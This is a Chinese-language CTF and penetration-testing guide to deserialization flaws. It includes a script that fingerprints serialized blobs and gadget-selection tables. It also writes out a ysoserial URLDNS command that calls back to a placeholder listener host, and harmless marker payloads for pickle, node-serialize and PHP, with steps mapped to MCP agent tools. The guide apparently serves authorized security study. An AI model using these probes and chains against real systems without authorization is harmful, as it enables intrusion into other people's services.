Skip to content

Deserialization Vulnerabilities ​

反序列化不是“见到 blob 就上 gadget”。先确认格式、入口、依赖、触发点、回显或回连,再选链。CTF 里最容易失误的是格式识别错误、payload 被 Base64/URL/签名包裹、或者 gadget 触发了但没有可见 oracle。

输入信号 ​

信号立即动作命中样本失败样本
Base64 以 rO0AB 开头Java 序列化路线URLDNS/DNS callbackBase64 只是普通 token
PHP O:, a:, s:PHP serialize 路线__wakeup/__destruct 错误或输出变化数据被 JSON 包裹未 unserialize
Python pickle gAS, \x80\x04pickle opcode 路线自定义 marker 被执行/回显Unpickler 限制全部拒绝
Node _$$ND_FUNC$$_node-serialize 路线函数字段被还原JSON.parse 不执行
__VIEWSTATE.NET ViewStateMAC/validationKey 线索ViewStateUserKey/MAC 阻断
YAML/XML/Hessian/Jackson 类型字段多态反序列化类型实例化错误/回连类型白名单拒绝

工作流 ​

text
抽取 blob 与编码层
  → magic bytes / 类型字段识别
  → 建 marker payload 和 baseline oracle
  → 指纹语言、依赖、类路径、过滤器
  → 选择 gadget 或业务类链
  → 用回显、DNS/HTTP callback、状态差异记录 Evidence

0. 格式识别脚本 ​

python
#!/usr/bin/env python3
import argparse
import base64
import binascii
import json
import re

MAGIC = [
    (b"\xac\xed\x00\x05", "java-serialized"),
    (b"rO0AB", "java-base64"),
    (b"O:", "php-object"),
    (b"a:", "php-array"),
    (b"\x80\x04", "python-pickle4"),
    (b"\x80\x05", "python-pickle5"),
    (b"_$$ND_FUNC$$_", "node-serialize"),
    (b"AAEAAAD", ".net-binaryformatter-base64"),
    (b"---", "yaml"),
]

def layers(raw):
    yield "raw", raw
    for name, fn in [
        ("url", lambda x: bytes.fromhex(x.decode().replace("%", ""))),
        ("base64", lambda x: base64.b64decode(x + b"=" * (-len(x) % 4))),
        ("hex", lambda x: binascii.unhexlify(re.sub(rb"\s+", b"", x))),
    ]:
        try:
            yield name, fn(raw)
        except Exception:
            pass

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("blob")
    args = ap.parse_args()
    raw = args.blob.encode()
    for layer, data in layers(raw):
        hits = [fmt for magic, fmt in MAGIC if data.startswith(magic) or magic in data[:80]]
        print(json.dumps({"layer": layer, "len": len(data), "hits": hits, "prefix_hex": data[:24].hex()}, ensure_ascii=False))

if __name__ == "__main__":
    main()

1. 路由矩阵 ​

格式指纹第一 oracle下一步
PHP serializeO:<len>:"Class"修改普通属性看输出找 magic method 和类链
Python pickle\x80, GLOBAL, REDUCEmarker print/erroropcode/白名单绕过
Javaaced0005 / rO0ABURLDNS callback依赖/gadget 指纹
Node serialize_$$ND_FUNC$$_IIFE markerrequire/module 限制
.NET ViewState__VIEWSTATEMAC/错误文本validationKey/ViewStateUserKey
YAML/Jackson/Hessiantype tag/class name类型实例化错误多态 gadget/业务类

2. Java URLDNS callback ​

bash
# 先用 DNS/HTTP callback 证明 readObject 触发,再换更高价值链
java -jar ysoserial.jar URLDNS "http://case-id.listener.example" | base64 -w0

Evidence:callback 域名、时间、来源 IP、目标参数、响应错误。没有 callback 时,不要直接升级 gadget,先确认编码层、签名、压缩和入口是否真的走反序列化。

3. PHP / Python / Node marker ​

python
#!/usr/bin/env python3
import pickle
import base64

class Marker:
    def __reduce__(self):
        return (print, ("PICKLE_MARKER",))

print(base64.b64encode(pickle.dumps(Marker())).decode())
json
{"marker":"_$$ND_FUNC$$_function(){return 'NODE_SERIALIZE_MARKER'}()"}
text
O:8:"stdClass":1:{s:6:"marker";s:10:"PHP_MARKER";}

这些 marker 用来判断“是否执行/还原/进入错误分支”,不是最终链。成功样本是 marker 回显、错误栈变化、callback 到达或业务状态变化。

4. Gadget 选择矩阵 ​

语言证据常见路线
PHPclass name、Composer lock、magic method__destruct, __toString, Phar metadata, SoapClient SSRF
Javaclasspath、依赖版本、JDKURLDNS, CommonsCollections, Spring, Groovy, Hessian/Dubbo
Pythonpickle opcode、find_class 限制__reduce__, opcode 手写, 已加载模块
Nodenode-serialize/serialize-javascriptIIFE, prototype pollution 串联
.NETformatter、ViewState、MACysoserial.net format/gadget 匹配
Ruby/YAMLtype tag、Rails/Gem 版本YAML object graph, ERB/Gem gadgets

5. 入口变体 ​

包裹方式操作
CookieURL/base64 双层编码,注意 ; 截断
JSON fieldpayload 字符串转义,Content-Type 固定
multipart uploadfilename/content metadata
session store修改 session cookie 或服务端 session 文件
message queuebody + headers 同时带类型
cache/job import上传配置文件后触发 worker

攻击链 ​

text
blob 识别
  → marker oracle
  → 依赖/类路径指纹
  → gadget/业务类链
  → callback、回显、文件、SSRF、flag 差异

Evidence ​

项记录内容
blob原始值、编码层、magic bytes、参数位置
格式语言/库/formatter、错误文本、依赖证据
markermarker payload、回显/callback/状态差异
gadget链名、前置依赖、触发方法、输入输出
成功样本callback、命令输出、文件读取、SSRF、flag 或业务状态变化
失败样本magic 不匹配、签名/MAC 拒绝、类不存在、filter 拒绝、无触发点
下一跳Soap/SSRF 转 04-ssrf;PP 串联转 prototype-pollution;凭据转 database/payment

MCP 工具映射 ​

步骤MCP 工具说明
入口探测http_probe固定 blob 参数、编码层和响应 oracle
知识路由kb_router按 deserialization、pickle、ysoserial、ViewState、Hessian 搜索

GPL-3.0 · 仅供授权环境下的学习与防御性研究使用